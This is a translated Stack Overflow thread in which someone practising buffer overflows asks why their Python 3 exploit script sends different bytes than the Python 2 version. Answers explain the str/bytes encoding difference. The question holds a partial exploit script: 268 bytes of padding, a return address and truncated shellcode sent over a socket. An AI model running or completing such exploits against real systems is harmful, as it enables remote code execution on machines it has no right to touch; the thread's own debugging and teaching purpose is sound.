Python3和Python2的区别 - socket.send数据

6

我正在练习一些缓冲区溢出技术,但在发送套接字数据时遇到了奇怪的问题。

我有这两个几乎相同的代码,唯一不同的是在Python3代码中,我更改了sock.send以对字符串进行编码(在Python2中不需要)

Python2代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer)
sock.close

Python 3 代码:

import socket,sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect ((sys.argv[1], 10000))

buffer = "A"*268
buffer += "\x70\xfb\x22\x00"

#PAYLOAD:
buffer += ("\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
...
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5")

sock.send (buffer.encode())
sock.close

我发送了缓冲区,然后使用Immunity Debugger检查EIP/SEP值,发现Python2代码和Python3代码得到的值不同。这怎么可能?

两者的缓冲区相同,因此调试器中的EIP/SEP应该相同。

换句话说,从服务器的角度来看(接收套接字数据),似乎它收到了不同的数据结构或类似的东西。

有什么想法吗?

谢谢。


1
尝试使用b"\x70\xfb\x22\x00",即确保您使用的是bytes而不是str,然后删除encode()。在Python 3中,str是一个Unicode字符串,encode()使用默认字符集对其进行编码,因此您发送的不是指定的字节。 - dhke
你说得对,谢谢。如果我在那段代码中在任何字符串之前放置b,它就可以工作了。我以为"encode()"会将它们全部转换为字节。那么如何用一个命令将它们全部转换为字节,而不是在每一行都加上b"? 谢谢 - user1641071
2个回答

7

您的服务器和调试器是正确的 - 缓冲区内容是不相同的

在Python 2和3中,如果您编写buffer = "A"*268,则缓冲区的类型为str。然而,str代表的内容在两个版本中是完全不同的

在Python 2中,str实际上是一个字节数组。在Python 3中,它是一系列可读字符,而不是字节(在Python 2中称为“Unicode字符串”)。

如果您进一步使用.encode(),则会将字符序列转换为字节序列,使用utf-8。这样会“更改内容”您的字符串,可以这么说。

您可能想做的是buffer = b"A"*268,这将使用bytes而不是str。您还需要在所有连接的字节序列前加上b前缀。


你说得对,谢谢。如果我在代码中任何一个str之前放置b,它都可以运行。我原以为"encode()"会将它们全部转换为字节。那么如何用一个命令将它们全部转换为字节,而不是在每一行都加上b"? 谢谢 - user1641071
@user1641071 encode确实将str转换为bytes,只是不是你想要的那些字节 :) 我认为你不能在没有b的情况下声明字节,也不能在一开始将它们声明为str后再进行“转换”。但我可能错了,你应该为此提出一个新问题。 - loopbackbee

0

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接